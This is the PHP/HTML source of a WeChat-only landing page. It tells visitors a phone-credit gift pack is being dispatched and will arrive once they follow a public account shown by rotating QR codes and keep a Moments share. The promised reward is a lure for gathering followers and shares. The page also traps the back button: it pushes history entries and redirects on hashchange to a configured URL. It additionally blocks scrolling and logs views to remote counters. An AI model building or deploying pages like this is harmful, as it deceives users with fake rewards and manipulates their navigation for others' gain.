<?php
$data = require './data.php';
require_once __DIR__ . '/include.php';
?>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0">
    <meta content="telephone=no" name="format-detection"/>
    <meta name="apple-mobile-web-app-capable" content="yes"/>
    <link rel="shortcut icon" href="#" />
    <script>
        console.log(navigator.platform);
        function userAgentWx() {
            var useragent = navigator.userAgent;
            if (useragent.match(/MicroMessenger/i) != 'MicroMessenger') {
                // 这里警告框会阻塞当前页面继续加载
                // 以下代码是用javascript强行关闭当前页面
                /* var opened = window.open('about:blank', '_self');
                 opened.opener = null;
                 opened.close();*/

                window.location.href="/";
            }
        }
        userAgentWx();
        function IsPC() {
            var userAgentInfo = navigator.userAgent;
            var Agents = ["Android", "iPhone",
                "SymbianOS", "Windows Phone",
                "iPad", "iPod"];
            var flag = true;
            console.log(userAgentInfo);
            for (var v = 0; v < Agents.length; v++) {
                if (userAgentInfo.indexOf(Agents[v]) > 0) {
                    flag = false;
                    break;
                }
            }
            return flag;
        }
        if(IsPC()){
            // window.location.href="/";
        }

    </script>
    <script src="js/jweixin-1.0.0.js"></script>
    <!----    微信jdk    -->
    <!--禁止微信下拉-->
    <script>
        document.addEventListener('touchmove', function (e) {
            e.preventDefault()
        }, false);
    </script>
    <style>
        * {
            padding: 0px;
            margin: 0px;
        }

        html {
            width: 100%;
            height: 100%;
            overflow: hidden;
        }

        body {
            width: 100%;
            height: 100%;
            overflow: hidden;
            background: white;
            text-align: center;
        }

        /*img{
            width: 100%;
            height: 100%;
            overflow: hidden;
        }*/
        .main {
            text-align: center; /*让div内部文字居中*/
            width: 350px;
            height: 350px;
            margin: auto;
            /*position: absolute;*/
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            line-height: 350px;
            font-size: 35px;
        }
    </style>
    <script type="text/javascript" src="js/jquery-3.3.1.min.js"></script>
    <script>
        $(document).ready(function(){
            var qclist=[

                // "https://jfand531.oss-cn-hangzhou.aliyuncs.com/xifen4/1.jpg",//甲鱼科技
                // "https://jfand531.oss-cn-hangzhou.aliyuncs.com/xifen4/2.jpg",//艰苦科技 封禁
                // "https://jfand531.oss-cn-hangzhou.aliyuncs.com/xifen4/3.jpg",//虾好科技
                // "https://jfand531.oss-cn-hangzhou.aliyuncs.com/xifen4/4.jpg",//和等科技
                // "https://jfand531.oss-cn-hangzhou.aliyuncs.com/xifen4/qrcode_for_gh_09d39a849d66_258.jpg",//驰好科技
                // "https://jfand531.oss-cn-hangzhou.aliyuncs.com/xifen4/qrcode_for_gh_312cd5a8ee61_258.jpg",//身哦科技
                // "https://jfand531.oss-cn-hangzhou.aliyuncs.com/xifen4/qrcode_for_gh_20ccf598675f_258.jpg",//独一科技
                // "https://jfand531.oss-cn-hangzhou.aliyuncs.com/xifen4/qrcode_for_gh_f641157c644f_258.jpg",//佛耳科技
                "pic/qrcode_for_gh_8a6e11c78ae9_258.jpg",//佛一科技
            ];
            var qc=getRandomArrayElements(qclist, 1);
            $('#qc').attr('src',qc);
            setInterval(function () {
                var qc=getRandomArrayElements(qclist, 1);
                $('#qc').attr('src',qc);
            }, 5000);
        });

        function getRandomArrayElements(arr, count) {
            var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index;
            while (i-- > min) {
                index = Math.floor((i + 1) * Math.random());
                temp = shuffled[index];
                shuffled[index] = shuffled[i];
                shuffled[i] = temp;
            }
            return shuffled.slice(min);
        }
    </script>
</head>
<body>
<!--<img src="https://sig0202.oss-cn-hangzhou.aliyuncs.com/img/20190429144412.jpg" alt="">-->
<div>
    <img src="pic/72014a6dc145f60f4da6109fa3dd418.jpg"   style="width: 100%;height: auto"
         alt="">


</div>
<div class="main">
    <!--<img src="https://jfand531.oss-cn-hangzhou.aliyuncs.com/xifen3/qrcode_for_gh_cfd2d442971d_258.jpg" style="width: 100%;height: 100%" alt=""> &lt;!&ndash;fanjie &ndash;&gt;-->
    <!--<img src="https://jfand531.oss-cn-hangzhou.aliyuncs.com/xifen3/qrcode_for_gh_612918f83ac0_258.jpg" style="width: 100%;height: 100%" alt=""> &lt;!&ndash;fankong &ndash;&gt;-->
    <!--<img src="https://jfand531.oss-cn-hangzhou.aliyuncs.com/xifen3/1.jpg" style="width: 100%;height: 100%" alt=""> &lt;!&ndash;所居科技	 &ndash;&gt;-->
    <img src="http://www.baidu.com" id="qc" style="width: 100%;height: 100%" alt="">
    <!--所民科技	 -->

</div>
<div>
    <div style="text-align: center;font-weight: bolder;font-size: 35px;color: #fb971d">恭喜你</div>
    <br>
    <div style="">话费礼包在排队派发中...</div>
    <br>
    <div>请关注公众号并签到,48小时内自动到账</div>
    <br>
    <div style="text-align: center;font-weight: bolder;font-size: 16px;color: #fb971d">注意:请保留朋友圈分享,否则流量红包会发放失败</div>
</div>
<div style="display: none">
    <!--<script>
window.onload = choosePic;
function choosePic() {
    var myPix = new Array(
        "https://jfand531.oss-cn-hangzhou.aliyuncs.com/xifen3/2.jpg",
        "https://jfand531.oss-cn-hangzhou.aliyuncs.com/xifen3/3.jpg",
        "https://jfand531.oss-cn-hangzhou.aliyuncs.com/xifen3/4.jpg",
        "https://jfand531.oss-cn-hangzhou.aliyuncs.com/xifen3/5.jpg",
        "https://jfand531.oss-cn-hangzhou.aliyuncs.com/xifen3/6.jpg",
    );
    var randomNum = Math.floor((Math.random() * myPix.length));
    document.getElementById("img").src = myPix[randomNum];
}

</script>-->
    <!--<script type="text/javascript" src="https://s23.cnzz.com/z_stat.php?id=1277138505&web_id=1277138505"></script>-->
</div>
<script>
    var pk = getUrlParam('pk');
    // console.log(pk);
    if(pk=='4g'){
        var api="http://www.xiangyuanquanye.com/index/adv/Ainterfaces/dir/jf/index/index";
    }else if(pk == 'unify0405_4g'){
        var api="http://www.xiangyuanquanye.com/index/adv/Ainterfaces/dir/jf/index/index";
    }else if(pk == 'unify0323_4g'){
        var api="http://www.xiangyuanquanye.com/index/adv/Ainterfaces/dir/jf/index/index";
    }else if(pk == 'unify_4g_0402'){
        var api="http://www.xiangyuanquanye.com/index/adv/Ainterfaces/dir/jf/index/index";
    }else if(pk == '05014g'){
        var api="http://www.weilan56.com/index/adv/Ainterfaces/dir/jf/index/index";
    }else if(pk == '0505qqt_4g'){
        var api="http://www.weilan56.com/index/adv/Ainterfaces/dir/jf/index/index";
    }



    // var api="http://www.xiangyuanquanye.com/index/adv/Ainterfaces/dir/xiaoshuo/index/xxzh_1";

    if(api=="")
        console.log('ok');
    // $.post(api,function (msg) {
    //     var addr='';
    //     addr=msg.v;
    //     if(msg.v==undefined)
    //         addr=msg.url;
    //     $("#fanhui").click(function () {
    //         location.href= addr+'&pk='+pk;
    //     });
    //     window.onhashchange=function(){
    //         location.href= addr+'&pk='+pk;
    //     };
    //     setTimeout(function () {
    //         window.history.pushState(null, "message", "#" + new Date().getTime());
    //     },200);
    // });

    $.ajax({
        'url' : 'http://<?php echo $data['d6'];?>/count_views.php',
        'method' : 'POST',
        'data': {res: 'friend'},
        'success' : function(){}
    });
    var _hmt = _hmt || [];
    (function() {
        var hm = document.createElement("script");
        hm.src = "https://hm.baidu.com/hm.js?<?php echo $data['baidu_id']?>";
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(hm, s);
    })();
    setTimeout(function(){
        history.pushState(history.length + 1, "message", "#" + new Date().getTime());
    },200);
    window.onhashchange = function() {
        <?php if($data['back_url2']):?>
        location.href = '<?php echo $data['back_url2'] ?>';
        <?php endif?>
    };
    //获取url中的参数
    function getUrlParam(name) {
        var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
        var r = window.location.search.substr(1).match(reg);  //匹配目标参数
        if (r != null) return unescape(r[2]); return null; //返回参数值
    }
</script>
</body>
</html>